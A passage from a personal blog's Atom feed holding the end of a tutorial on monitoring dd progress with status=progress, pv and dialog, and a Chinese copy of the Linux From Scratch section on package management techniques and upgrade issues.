&lt;p&gt;No need to use sudo. I used sudo because &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;linux-copy-clone-usb-stick-including-partitions&#x2F;&quot;&gt;I was trying to read and clone a USB stick&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-do-you-monitor-the-progress-of-dd&quot;&gt;How do you monitor the progress of dd?&lt;&#x2F;h2&gt;
&lt;p&gt;Here is another example. First, find out your USB device name using the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;How to use grep command In Linux &#x2F; UNIX with examples&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;howto-use-grep-command-in-linux-unix&#x2F;&quot;&gt;grep command&lt;&#x2F;a&gt; and hwinfo command:
&lt;code&gt;$ grep -Ff &amp;lt;(hwinfo --disk --short) &amp;lt;(hwinfo --usb --short)&lt;&#x2F;code&gt;
Output:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;disk:
  &amp;#x2F;dev&amp;#x2F;sdc             SanDisk Ultra
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can also try the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;How to use df command in Linux &#x2F; Unix {with examples}&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;df-command-examples-in-linux-unix&#x2F;&quot;&gt;df command&lt;&#x2F;a&gt; or mount command to identify mounted USB pen and hard drives under Linux. For example:
&lt;code&gt;$ df -hT $ mount&lt;&#x2F;code&gt;
Next, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;tips&#x2F;how-do-i-forcefully-unmount-a-disk-partition.html&quot;&gt;unmount the device under Linux&lt;&#x2F;a&gt;:
&lt;code&gt;$ sudo umount &#x2F;dev&#x2F;sdc&lt;&#x2F;code&gt;
Finally, write an iso image to USB device named &#x2F;dev&#x2F;sdc and monitor the progress of dd:
&lt;code&gt;$ sudo dd if=openSUSE-Leap-15.1-DVD-x86_64.iso of=&#x2F;dev&#x2F;sdc bs=4M status=progress&lt;&#x2F;code&gt;
Sample outputs:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;de1&quot; class=&quot;language-de1 &quot;&gt;&lt;code class=&quot;language-de1&quot; data-lang=&quot;de1&quot;&gt;2684354560 bytes (2.7 GB, 2.5 GiB) copied, 1 s, 2.7 GB&amp;#x2F;s
967+1 records in
967+1 records out
4056940544 bytes (4.1 GB, 3.8 GiB) copied, 361.614 s, 11.2 MB&amp;#x2F;s
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dd-status-level-options&quot;&gt;dd status=LEVEL options&lt;&#x2F;h3&gt;
&lt;p&gt;Apart from the &lt;kbd&gt;status=progress&lt;&#x2F;kbd&gt; option, you can pass the following two options to fine tune the dd command outputs:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;kbd&gt;status=noxfer&lt;&#x2F;kbd&gt; : Suppresses the final transfer statistic. It will hide the transfer statistics as the last line of status output.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;kbd&gt;status=none&lt;&#x2F;kbd&gt; : Do not print the status output except for the error messages.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;use-pv-command-monitor-the-progress-of-dd-command-and-see-status&quot;&gt;Use pv command monitor the progress of dd command and see status&lt;&#x2F;h2&gt;
&lt;p&gt;Another option is to use pv command which allows you to see the progress of data through a pipeline. You need to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;open-source&#x2F;command-line-hacks&#x2F;pv-command-examples&#x2F;&quot;&gt;install pv command as described here&lt;&#x2F;a&gt;. Once installed, type the following commands to see the status bar. Please note that if standard input is not a file and no size was given with the &lt;kbd&gt;-s&lt;&#x2F;kbd&gt; option, the progress bar cannot indicate how close to completion the transfer is, so it will just move left and right to indicate that data is moving. It will also show average MB&#x2F;s rate. Copy &#x2F;dev&#x2F;sda to to &#x2F;dev&#x2F;sdb:
&lt;code&gt;# pv -tpreb &#x2F;dev&#x2F;sda | dd of=&#x2F;dev&#x2F;sdb bs=64M&lt;&#x2F;code&gt;
OR
&lt;code&gt;# pv -tpreb &#x2F;dev&#x2F;sda | dd of=&#x2F;dev&#x2F;sdb bs=4096 conv=notrunc,noerror&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-dd-progress&#x2F;pv-dd-progress-bar-output.webp&quot; alt=&quot;Fig.01: pv and dd in action&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Fig.01: pv and dd in action&lt;&#x2F;p&gt;
&lt;p&gt;You can &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;A_progress_bar_(gauge_box)&quot;&gt;create a progress bar and display using the dialog command&lt;&#x2F;a&gt; as follows:
&lt;code&gt;$ (pv -n &#x2F;dev&#x2F;sda | dd of=&#x2F;dev&#x2F;sdb bs=128M conv=notrunc,noerror) 2&amp;amp;gt;&amp;amp;amp;1 \ | dialog --gauge &amp;amp;#34;Running dd command (cloning), please wait...&amp;amp;#34; 10 70 0&lt;&#x2F;code&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-dd-progress&#x2F;dd-status-pv-dialog.webp&quot; alt=&quot;HowTo: Check The Status of dd Command In Progress under Unix like operating systems&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Fig.02: Show the Status of dd Command in progress using pv and dialog command&lt;&#x2F;p&gt;
&lt;h2 id=&quot;examples-use-gnu-dd-command-from-coreutils-version-8-24-or-above-only&quot;&gt;Examples: Use gnu dd command from coreutils version 8.24 or above only&lt;&#x2F;h2&gt;
&lt;p&gt;Here is another example from my Apple Mac OS X&#x2F;MacOS:
&lt;code&gt;$ sudo gdd if=ZeroShell-3.6.0-USB.img of=&#x2F;dev&#x2F;disk5 bs=1024k status=progress&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-dd-progress&#x2F;gdd-progress-display.webp&quot; alt=&quot;Fig.03: GNU dd displaying progress&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Fig.03: GNU dd displaying progress&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-do-you-monitor-the-progress-of-dd-on-linux&quot;&gt;How do you monitor the progress of dd on Linux?&lt;&#x2F;h2&gt;
&lt;p&gt;If you are using &lt;strong&gt;an older version of dd&lt;&#x2F;strong&gt; or&lt;strong&gt;cannot install the pv command&lt;&#x2F;strong&gt;, try the following simple &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;bash-while-loop&#x2F;&quot;&gt;one-liner bash shell while loop&lt;&#x2F;a&gt;&#x2F;command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;de1&quot; class=&quot;language-de1 &quot;&gt;&lt;code class=&quot;language-de1&quot; data-lang=&quot;de1&quot;&gt;## 1. first start dd as usual ##
sudo dd if=&amp;#x2F;dev&amp;#x2F;sdc of=&amp;#x2F;tmp&amp;#x2F;demo.img bs=4M

## 2. Open another terminal or tab ##
## 3. find pid of dd command ##
pidof dd              ### &amp;amp;lt;--- say pid is 21145
ps aux | grep -w dd

## 4. Run bash&amp;#x2F;sh while loop as follows ##
while sudo kill -USR1 21145 ; do sleep 10 ; done

## 5. Switch back to terminal where dd was started ##
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-dd-progress&#x2F;dd-status-progress-output.webp&quot; alt=&quot;Linux dd Command Show Progress Copy Bar With Status&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;The dd command is wonderful, and there are various ways to display a progress indicator with dd. You learned how to monitor the progress of dd using the inbuilt &lt;kbd&gt;status=progress&lt;&#x2F;kbd&gt; option to the dd command. Another option is to use the pv tool. Finally, you learned that how to show dd progress in Linux without using pv or status= progress option. See GNU dd man page &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;coreutils&#x2F;manual&#x2F;html_node&#x2F;dd-invocation.html&quot;&gt;documentation&lt;&#x2F;a&gt; for more info using the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Man command - Linux Bash Shell Scripting Tutorial Wiki&quot; href=&quot;https:&#x2F;&#x2F;bash.cyberciti.biz&#x2F;guide&#x2F;Man_command&quot;&gt;man command&lt;&#x2F;a&gt; on your local workstation:&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>8.2. 软件包管理</title>
        <published>2024-12-09T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/8.2.-软件包管理/"/>
        <id>https://vercel.juzhong.asia/obsidian/8.2.-软件包管理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/8.2.-软件包管理/">&lt;h1 id=&quot;8-2-ruan-jian-bao-guan-li&quot;&gt;8.2. 软件包管理&lt;&#x2F;h1&gt;
&lt;p&gt;经常有人请求将软件包管理加入 LFS 手册。包管理器跟踪文件的安装过程，简化移除或升级软件包的工作。一个好的包管理器还会特殊处理配置文件，以在重新安装或升级软件包时保留用户配置。在您开始想入非非前，不 —— 本节不会讨论或者推荐任何一个特定的包管理器。本节对软件包管理的流行技术及其工作原理进行综述。对您来说，完美的包管理器可能是其中的某个技术，也可能是几个技术的结合。本节还会简要介绍在升级软件包时可能遇到的问题。&lt;&#x2F;p&gt;
&lt;p&gt;LFS 或 BLFS 不介绍任何包管理器的原因包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;处理软件包管理会偏离这两本手册的目标 —— 讲述如何构建 Linux 系统。&lt;&#x2F;li&gt;
&lt;li&gt;存在多种软件包管理的解决方案，它们各有优缺点。很难找到一种让所有读者满意的方案。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;已经有人写了一些关于软件包管理这一主题的短文。您可以访问 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxfromscratch.org&#x2F;hints&#x2F;downloads&#x2F;files&#x2F;&quot;&gt;Hints Project&lt;&#x2F;a&gt; 并看一看是否有符合您的需求的方案。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-2-1-sheng-ji-wen-ti&quot;&gt;8.2.1. 升级问题&lt;&#x2F;h2&gt;
&lt;p&gt;使用包管理器可以在软件包新版本发布后容易地完成升级。一般来说，使用 LFS 或者 BLFS 手册给出的构建方法即可升级软件包。下面是您在升级时必须注意的重点，特别是升级正在运行的系统时。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果需要升级 Linux 内核 (例如，从 5.10.17 升级到 5.10.18 或 5.11.1)，则不需要重新构建其他任何软件包。因为内核态与用户态的接口十分清晰，系统仍然能够继续正常工作。特别地，在升级内核时，不需要一同更新 Linux API 头文件。重新引导系统即可使用升级后的内核。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果需要将 Glibc 升级到一个新版本 (例如，从 Glibc-2.36 升级到 Glibc-2.40)，则需要进行一些额外操作，以防止损坏系统。详见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;8.5. Glibc-2.40&quot; href=&quot;https:&#x2F;&#x2F;lfs.xry111.site&#x2F;zh_CN&#x2F;12.2-systemd&#x2F;chapter08&#x2F;glibc.html&quot;&gt;第 8.5 节 “Glibc-2.40”&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果更新了一个包含共享库的软件包，而且共享库的名称发生改变，那么所有动态链接到这个库的软件包都需要重新编译，以链接到新版本的库。(注意软件包的版本和共享库的名称没有关系。) 例如，考虑一个软件包 foo-1.2.3 安装了名为 &lt;code&gt;libfoo.so.1&lt;&#x2F;code&gt; 的共享库，如果您把该软件包升级到了新版本 foo-1.2.4，它安装了名为 &lt;code&gt;libfoo.so.2&lt;&#x2F;code&gt;的共享库。那么，所有链接到 &lt;code&gt;libfoo.so.1&lt;&#x2F;code&gt;的软件包都要重新编译以链接到 &lt;code&gt;libfoo.so.2&lt;&#x2F;code&gt;。注意，您不能删除旧版本的库，直到将所有依赖它的软件包都重新编译完成。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果一个软件包 (直接或间接地) 链接到同一共享库的旧名称和新名称 (例如，同时链接到 &lt;code&gt;libfoo.so.2&lt;&#x2F;code&gt; 和 &lt;code&gt;libbar.so.1&lt;&#x2F;code&gt;，而后者又链接到 &lt;code&gt;libfoo.so.3&lt;&#x2F;code&gt;)，这个软件包可能无法正常工作，这是由于不同版本的共享库可能对同一符号名提供不兼容的定义。这种情况可能由于在更新提供共享库的软件包后，重新编译一部分 (而非所有) 链接到旧的共享库的软件包而出现。为了避免这种问题，用户需要在共享库名称被更新时，尽快重新构建所有链接到该共享库的软件包。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果更新了一个包含共享库的软件包，且共享库的名称没有改变，但是库&lt;strong&gt;文件&lt;&#x2F;strong&gt;的版本号降低了 (例如，库的名称保持&lt;code&gt;libfoo.so.1&lt;&#x2F;code&gt; 不变，但是库文件名由&lt;code&gt;libfoo.so.1.25&lt;&#x2F;code&gt; 变为 &lt;code&gt;libfoo.so.1.24&lt;&#x2F;code&gt;)，则需要删除旧版本软件包安装的库文件 (对于上述示例，需要删除 &lt;code&gt;libfoo.so.1.25&lt;&#x2F;code&gt;)。否则，&lt;strong&gt;ldconfig&lt;&#x2F;strong&gt; 命令 (可能是您通过命令行执行，也可能由一些软件包的安装过程自动执行) 会将符号链接 &lt;code&gt;libfoo.so.1&lt;&#x2F;code&gt;的目标重设为旧版本的库文件，因为它版本号更大，看上去更“新”。在不得不降级软件包，或者软件包作者更改库文件版本号格式时，可能出现这种问题。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果更新了一个包含共享库的软件包，且共享库的名称没有改变，但是这次更新修复了一个严重问题 (特别是安全缺陷)，则要重新启动所有链接到该库的程序。在更新软件包的过程完成后，以 &lt;code&gt;root&lt;&#x2F;code&gt; 身份，运行以下命令，即可列出所有正在使用旧版本共享库的进程 (将*&lt;code&gt;libfoo&lt;&#x2F;code&gt;* 替换成库名)：&lt;&#x2F;p&gt;
&lt;pre class=&quot;userinput&quot;&gt;&lt;kbd class=&quot;command&quot;&gt;grep -l &#x27;&lt;em class=&quot;replaceable&quot;&gt;&lt;code&gt;libfoo&lt;&#x2F;code&gt;&lt;&#x2F;em&gt;.*deleted&#x27;&#x2F;proc&#x2F;* &#x2F;maps | tr -cd 0-9\\n | xargs -r ps u&lt;&#x2F;kbd&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果正在使用 OpenSSH访问系统，且它链接到了被更新的库，则需要重启 &lt;strong&gt;sshd&lt;&#x2F;strong&gt;服务，登出并重新登录，然后再次运行上述命令，确认没有进程使用被删除的库文件。
如果 &lt;strong&gt;systemd&lt;&#x2F;strong&gt; 守护进程 (以 PID 1 运行) 链接到了被更新的库，可以在不重启系统的前提下重启它：以 &lt;code&gt;root&lt;&#x2F;code&gt; 用户身份，运行&lt;strong&gt;systemctl daemon-reexec&lt;&#x2F;strong&gt;命令即可。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果一个可执行程序或共享库被覆盖，正在使用该程序或库中的代码或数据的进程可能崩溃。正确的，不会导致进程崩溃的更新程序或共享库的方法是：先删除旧版本，再安装新版本。Coreutils提供的 &lt;strong&gt;install&lt;&#x2F;strong&gt;已经实现了这一过程，多数软件包使用该命令安装二进制文件和库。这意味着在更新软件包时通常不会遇到这个问题。然而，一些软件包 (如 BLFS 中的 SpiderMonkey) 的安装过程会简单覆盖已经存在的文件并导致进程崩溃，因此在进行更新前，最好保存工作并关闭不需要的，正在运行的进程。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;8-2-2-ruan-jian-bao-guan-li-ji-shu&quot;&gt;8.2.2. 软件包管理技术&lt;&#x2F;h2&gt;
&lt;p&gt;以下是几种常见的软件包管理方案。在决定使用某种包管理器前，请研读这些方案，特别是要了解每种方案的不足。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-1-zhe-du-zai-wo-de-nao-dai-li&quot;&gt;8.2.2.1. 这都在我的脑袋里！&lt;&#x2F;h3&gt;
&lt;p&gt;没错，这是一种包管理技术。有些人不需要包管理器，因为他们十分了解软件包，知道每个软件包安装了什么文件。有的用户则计划每次有软件包发生变动时就重新构建系统，所以不需要管理软件包。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-2-an-zhuang-dao-du-li-mu-lu&quot;&gt;8.2.2.2. 安装到独立目录&lt;&#x2F;h3&gt;
&lt;p&gt;这是一种最简单的软件包管理方式，它不需要控制软件包安装的专用程序。每个软件包都被安装在单独的目录中。例如，软件包 foo-1.1 将会被安装在 &lt;code&gt;&#x2F;opt&#x2F;foo-1.1&lt;&#x2F;code&gt;，然后创建一个符号链接&lt;code&gt;&#x2F;opt&#x2F;foo&lt;&#x2F;code&gt; 指向 &lt;code&gt;&#x2F;opt&#x2F;foo-1.1&lt;&#x2F;code&gt;。在安装新版本 foo-1.2 的时候，把它安装到&lt;code&gt;&#x2F;opt&#x2F;foo-1.2&lt;&#x2F;code&gt;，然后把之前的符号链接替换为指向新版本的符号链接。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;PATH&lt;&#x2F;code&gt;、&lt;code&gt;MANPATH&lt;&#x2F;code&gt;、&lt;code&gt;INFOPATH&lt;&#x2F;code&gt;、&lt;code&gt;PKG_CONFIG_PATH&lt;&#x2F;code&gt;、&lt;code&gt;CPPFLAGS&lt;&#x2F;code&gt;、&lt;code&gt;LDFLAGS&lt;&#x2F;code&gt;等环境变量，以及配置文件 &lt;code&gt;&#x2F;etc&#x2F;ld.so.conf&lt;&#x2F;code&gt;可能需要被扩充，以包含 &lt;code&gt;&#x2F;opt&#x2F;foo-x.y&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;BLFS 手册使用这种模式安装一些非常庞大的软件包，这样能更容易地更新它们。一旦用这种方式安装了比较多的软件包，这种模式就会变得难以控制。另外，一些软件包 (如 Linux API 头文件和 Glibc) 在使用这种方式安装时可能无法正常工作。&lt;strong&gt;永远不要对整个系统的所有软件包使用这种模式。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-3-fu-hao-lian-jie-feng-ge-de-ruan-jian-bao-guan-li&quot;&gt;8.2.2.3. 符号链接风格的软件包管理&lt;&#x2F;h3&gt;
&lt;p&gt;这是前一种软件包管理技术的变种。和前一种方式一样，将各个软件包同样安装在独立的目录中。但不是使用软件包的名称建立符号链接，而是将软件包中的每个文件符号链接到&lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt;目录树中对应的位置。这样就不需要修改环境变量。虽然这些符号链接可以由用户自己创建，但已经有许多包管理器能够自动化这一过程。一些流行的包管理器如 Stow、Epkg、Graft 和 Depot 使用这种管理方式。&lt;&#x2F;p&gt;
&lt;p&gt;需要欺骗安装脚本，使得软件包认为它处于 &lt;code&gt;&#x2F;usr&lt;&#x2F;code&gt;中，尽管它实际上被安装在 &lt;code&gt;&#x2F;usr&#x2F;pkg&lt;&#x2F;code&gt;目录结构中。这种安装过程往往是超出常规的。例如，考虑安装软件包 libfoo-1.1。下面的方法可能不能正确安装该软件包：&lt;&#x2F;p&gt;
&lt;pre class=&quot;userinput&quot;&gt;&lt;kbd class=&quot;command&quot;&gt;.&#x2F;configure --prefix=&#x2F;usr&#x2F;pkg&#x2F;libfoo&#x2F;1.1
make
make install&lt;&#x2F;kbd&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尽管安装过程本身可以顺利进行，但依赖于它的软件包可能不会像您期望的那样链接 libfoo 库。如果要编译一个依赖于 libfoo 的软件包，您可能发现它链接到了 &lt;code&gt;&#x2F;usr&#x2F;pkg&#x2F;libfoo&#x2F;1.1&#x2F;lib&#x2F;libfoo.so.1&lt;&#x2F;code&gt; 而不是您期望的&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;libfoo.so.1&lt;&#x2F;code&gt;。正确的做法是使用&lt;code&gt;DESTDIR&lt;&#x2F;code&gt; 环境变量转移安装位置。就像下面这样做：&lt;&#x2F;p&gt;
&lt;pre class=&quot;userinput&quot;&gt;&lt;kbd class=&quot;command&quot;&gt;.&#x2F;configure --prefix=&#x2F;usr
make
make DESTDIR=&#x2F;usr&#x2F;pkg&#x2F;libfoo&#x2F;1.1 install&lt;&#x2F;kbd&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;多数软件包可以这样安装，但有些不能。对于那些不兼容的软件包，您要么亲自动手安装，要么更简单地把一些出问题的软件包安装在&lt;code&gt;&#x2F;opt&lt;&#x2F;code&gt; 中。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-4-ji-yu-shi-jian-chuo-de-fang-an&quot;&gt;8.2.2.4. 基于时间戳的方案&lt;&#x2F;h3&gt;
&lt;p&gt;在这种方案中，安装一个软件包之前，创建一个时间戳文件。在安装后，用一行简单的 &lt;strong&gt;find&lt;&#x2F;strong&gt;命令，加上正确的参数，就能生成安装日志，包含在时间戳文件创建以后安装的所有文件。有一个采用这个方案的包管理器叫做 install-log。&lt;&#x2F;p&gt;
&lt;p&gt;尽管这种方式很简单，但它有两个缺点。如果在安装过程中，某些文件没有以当前时间作为时间戳安装，它们就不能被包管理器跟踪。另外，只有每次只安装一个软件包时才能使用这种技术。如果在两个控制台中同时安装两个不同的软件包，它们的安装日志就不可靠了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-5-zhui-zong-an-zhuang-jiao-ben&quot;&gt;8.2.2.5. 追踪安装脚本&lt;&#x2F;h3&gt;
&lt;p&gt;在这种方案中，安装脚本执行的命令被记录下来。有两种技巧可以用于记录：&lt;&#x2F;p&gt;
&lt;p&gt;在安装前设置 &lt;code&gt;LD_PRELOAD&lt;&#x2F;code&gt;环境变量，将其指向一个库以在安装过程中预加载它。在安装过程中，这个库附加在 &lt;strong&gt;cp&lt;&#x2F;strong&gt;、&lt;strong&gt;install&lt;&#x2F;strong&gt;、&lt;strong&gt;mv&lt;&#x2F;strong&gt;等可执行文件上，跟踪修改文件系统的系统调用。如果要使用这种方法，所有需要跟踪的可执行文件必须是动态链接的，且没有设定 suid 和 sgid 位。预加载动态库可能在安装过程中导致不希望的副作用。因此，最好在实际使用前进行一些测试，以确保包管理器不会造成破坏，并且记录了所有应该记录的文件。&lt;&#x2F;p&gt;
&lt;p&gt;第二种技巧是使用 &lt;strong&gt;strace&lt;&#x2F;strong&gt;，它能够记录安装脚本执行过程中的所有系统调用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-6-chuang-jian-ruan-jian-bao-dang-an&quot;&gt;8.2.2.6. 创建软件包档案&lt;&#x2F;h3&gt;
&lt;p&gt;在这种方案中，软件包被伪装安装到一个独立的目录树中，就像软链接风格的软件包管理那样。在安装后，使用被安装的文件创建一个软件包档案。它可以被用来在本地机器甚至其他机器上安装该软件包。&lt;&#x2F;p&gt;
&lt;p&gt;大多数商业发行版的包管理器采用这种策略。例如 RPM (值得一提的是，它被 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;refspecs.linuxfoundation.org&#x2F;lsb.shtml&quot;&gt;Linux Standard Base 规则&lt;&#x2F;a&gt;所要求)、pkg-utils、Debian 的 apt，以及 Gentoo 的 Portage 系统等。LFS Hint 中的一篇短文描述了如何为 LFS 系统适用这种管理方式：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxfromscratch.org&#x2F;hints&#x2F;downloads&#x2F;files&#x2F;fakeroot.txt&quot;&gt;https:&#x2F;&#x2F;www.linuxfromscratch.org&#x2F;hints&#x2F;downloads&#x2F;files&#x2F;fakeroot.txt&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;创建包含依赖关系信息的软件包文件十分复杂，超出了 LFS 的范畴。&lt;&#x2F;p&gt;
&lt;p&gt;Slackware 使用一个基于 &lt;strong&gt;tar&lt;&#x2F;strong&gt;的系统创建软件包档案。和更复杂的包管理器不同，该系统有意地没有涉及软件包依赖关系。如果想了解 Slackware 包管理器的详细信息，阅读 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.slackbook.org&#x2F;html&#x2F;package-management.html&quot;&gt;https:&#x2F;&#x2F;www.slackbook.org&#x2F;html&#x2F;package-management.html&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;8-2-2-7-ji-yu-yong-hu-de-ruan-jian-bao-guan-li&quot;&gt;8.2.2.7. 基于用户的软件包管理&lt;&#x2F;h3&gt;
&lt;p&gt;这种架构是 LFS 特有的，由 Matthias Benkmann 提出，可以在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxfromscratch.org&#x2F;hints&#x2F;downloads&#x2F;files&#x2F;&quot;&gt;Hints Project&lt;&#x2F;a&gt;查阅。在该架构中，每个软件包都由一个单独的用户安装到标准位置。只要检查文件所有者，就能找出属于一个软件包的所有文件。它的优缺点十分复杂，无法在本节讨论。如果想详细了解，请访问&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxfromscratch.org&#x2F;hints&#x2F;downloads&#x2F;files&#x2F;more_control_and_pkg_man.txt&quot;&gt;https:&#x2F;&#x2F;www.linuxfromscratch.org&#x2F;hints&#x2F;downloads&#x2F;files&#x2F;more_control_and_pkg_man.txt&lt;&#x2F;a&gt;阅读。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-2-3-zai-duo-ge-xi-tong-shang-bu-shu-lfs&quot;&gt;8.2.3. 在多个系统上部署 LFS&lt;&#x2F;h2&gt;
&lt;p&gt;LFS 系统的一项优势是，没有依赖于磁盘系统中文件位置的文件。将构建好的 LFS 系统复制到另一台具有相同硬件架构的计算机很简单，只要用 &lt;strong&gt;tar&lt;&#x2F;strong&gt; 命令把包含根目录的 LFS 分区打包 (未压缩的情况下，一个基本的 LFS 系统需要 900 MB)，然后通过网络或者 CD-ROM 复制到新的系统上，再展开即可。之后，个别配置文件需要修改。可能需要更新的配置文件有：&lt;code&gt;&#x2F;etc&#x2F;hosts&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;etc&#x2F;fstab&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;etc&#x2F;group&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;etc&#x2F;shadow&lt;&#x2F;code&gt;，以及 &lt;code&gt;&#x2F;etc&#x2F;ld.so.conf&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;由于系统硬件和内核配置的区别，可能需要为新系统重新配置并构建内核。&lt;&#x2F;p&gt;
&lt;p&gt;![&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;8.2.-%E8%BD%AF%E4%BB%B6%E5%8C%85%E7%AE%A1%E7%90%86&#x2F;assets&#x2F;note-20241209225859-n6x7u5n.png&quot;&gt;注意]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhu-yi&quot;&gt;注意&lt;&#x2F;h3&gt;
&lt;p&gt;有一些报告反映称，在架构相近但不完全一致的计算机之间拷贝 LFS 系统时出现问题。例如，Intel 系统使用的指令集和 AMD 处理器不完全相同，且较新的处理器可能提供旧处理器没有的指令。&lt;&#x2F;p&gt;
&lt;p&gt;最后，按照&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;10.4. 使用 GRUB 设定引导过程&quot; href=&quot;https:&#x2F;&#x2F;lfs.xry111.site&#x2F;zh_CN&#x2F;12.2-systemd&#x2F;chapter10&#x2F;grub.html&quot;&gt;第 10.4 节 “使用 GRUB 设定引导过程”&lt;&#x2F;a&gt;中的说明，为新系统配置引导加载器。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux应用调试（三）工具之Valgrind</title>
        <published>2024-12-08T00:00:00+00:00</published>
        <updated>2024-12-08T00:00:00+00:00</updated>
        
